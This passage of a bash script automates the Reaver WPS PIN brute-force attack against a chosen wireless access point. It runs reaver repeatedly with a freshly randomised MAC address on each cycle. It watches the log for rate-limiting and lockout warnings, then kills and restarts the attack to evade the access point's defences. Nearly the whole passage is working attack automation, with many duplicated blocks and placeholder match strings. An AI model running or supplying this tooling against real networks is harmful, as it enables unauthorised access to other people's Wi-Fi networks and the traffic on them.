REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R50 == n || $USE_R50 == N ]] && [[ $USE_LONG50 == y || $USE_LONG50 == Y ]] && [[ $USE_PIN50 == y || $USE_PIN50 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN50 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R50 == y || $USE_R50 == Y ]] && [[ $USE_LONG50 == y || $USE_LONG50 == Y ]] && [[ $USE_PIN50 == y || $USE_PIN50 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX50" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY50"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -r $RX50:$RY50 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN50 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE50 == n ] || [ $KEEP_FILE50 == N ]; then

          rm VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################

############################################################################################

if  [ $FILECHOOSE == y ] || [ $FILECHOOSE == Y ]; then



source maclistreaversav
echo " "

	fi

if  [ $FILECHOOSE == n ] || [ $FILECHOOSE == N ]; then


source $SOURCENAME
echo " "

	fi

##################Retain original names for text warning##########
NMEWARN1=$NAME1
NMEWARN2=$NAME2
NMEWARN3=$NAME3
NMEWARN4=$NAME4
NAMWARN5=$NAME5
NMEWARN6=$NAME6
NMEWARN7=$NAME7
NMEWARN8=$NAME8
NMEWARN9=$NAME9
NMEWARN10=$NAME10
NMEWARN11=$NAME11
NMEWARN12=$NAME12
NMEWARN13=$NAME13
NMEWARN14=$NAME14
NMEWARN15=$NAME15
NMEWARN16=$NAME16
NMEWARN17=$NAME17
NMEWARN18=$NAME18
NMEWARN19=$NAME19
NMEWARN20=$NAME20
NMEWARN21=$NAME21
NMEWARN22=$NAME22
NMEWARN23=$NAME23
NMEWARN24=$NAME24
NMEWARN25=$NAME25
NMEWARN26=$NAME26
NMEWARN27=$NAME27
NMEWARN28=$NAME28
NMEWARN29=$NAME29
NMEWARN30=$NAME30
NMEWARN31=$NAME31
NMEWARN32=$NAME32
NMEWARN33=$NAME33
NMEWARN34=$NAME34
NMEWARN35=$NAME35
NMEWARN36=$NAME36
NMEWARN37=$NAME37
NMEWARN38=$NAME38
NMEWARN39=$NAME39
NMEWARN40=$NAME40
NMEWARN41=$NAME41
NMEWARN42=$NAME42
NMEWARN43=$NAME43
NMEWARN44=$NAME44
NMEWARN45=$NAME45
NMEWARN46=$NAME46
NMEWARN47=$NAME47
NMEWARN48=$NAME48
NMEWARN49=$NAME49
NMEWARN50=$NAME50

##########End retain original name for reaver warnings########

###########Remove Spaces in Names for file names#########

NAME1=${NAME1// /_}
NAME2=${NAME2// /_}
NAME3=${NAME3// /_}
NAME4=${NAME4// /_}
NAME5=${NAME5// /_}
NAME6=${NAME6// /_}
NAME7=${NAME7// /_}
NAME8=${NAME8// /_}
NAME9=${NAME9// /_}
NAME10=${NAME10// /_}
NAME11=${NAME11// /_}
NAME12=${NAME12// /_}
NAME13=${NAME13// /_}
NAME14=${NAME14// /_}
NAME15=${NAME15// /_}
NAME16=${NAME16// /_}
NAME17=${NAME17// /_}
NAME18=${NAME18// /_}
NAME19=${NAME19// /_}
NAME20=${NAME20// /_}
NAME21=${NAME21// /_}
NAME22=${NAME22// /_}
NAME23=${NAME23// /_}
NAME24=${NAME24// /_}
NAME25=${NAME25// /_}
NAME26=${NAME26// /_}
NAME27=${NAME27// /_}
NAME28=${NAME28// /_}
NAME29=${NAME29// /_}
NAME30=${NAME30// /_}
NAME31=${NAME31// /_}
NAME32=${NAME32// /_}
NAME33=${NAME33// /_}
NAME34=${NAME34// /_}
NAME35=${NAME35// /_}
NAME36=${NAME36// /_}
NAME37=${NAME37// /_}
NAME38=${NAME38// /_}
NAME39=${NAME39// /_}
NAME40=${NAME40// /_}
NAME41=${NAME41// /_}
NAME42=${NAME42// /_}
NAME43=${NAME43// /_}
NAME44=${NAME44// /_}
NAME45=${NAME45// /_}
NAME46=${NAME46// /_}
NAME47=${NAME47// /_}
NAME48=${NAME48// /_}
NAME49=${NAME49// /_}
NAME50=${NAME50// /_}

##########End Remove Spaces in Names#########

########################START PAUSE###################################

	if [ $PAUSE -gt 0 ]; then
	echo ""
	echo -e "$info Program will pause for$yel $PAUSE$info minutes before continuing."
	echo -e ""
	echo -e "$warn No screen movement will be seen until program restarts.$txtrst"
	echo ""
	sleep $PAUSESEC
        
	fi

	if [ $PAUSE -eq 0 ]; then

        sleep $PAUSESEC

	fi	


sleep 1


#PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
#PIDREV1=${PIDREV##*D }
#
#kill -s SIGINT $PIDREV1
#
let COUNT=COUNT-1
let FN=FN+1
#
sleep 1

done

echo "loops completed"
sleep 10
################################################################################
# Some Variables listed
# $DEV= wifi reciever to be used by reaver ie wlan0, wlan1, eth1 etc
#    must support packet injection     
# $DEVTYPE support exists to boost an rtl8187 alfa reciever to txpower=30mBm.
#
# $MON= when wifi reviever placed in moniter mode confirm designation
# $TARGETAP = AP to attack with reaver
# $CHANNEL = channel of $TARGETAP
# $RX = Recurring-delay pin attempts x
# $RY = Recurring-delay sleep in sec y
# $LIVE = Sets the time reaver is active. Must be shorter then $TIMDELAY above.
# $COUNT = The scrip uses a loop. Each loop takes approx five minutes and each
#    loop cycle has it's own random mac code. 
# #VARMAC = Random mac which changes each loop cycle.
##################################################################################
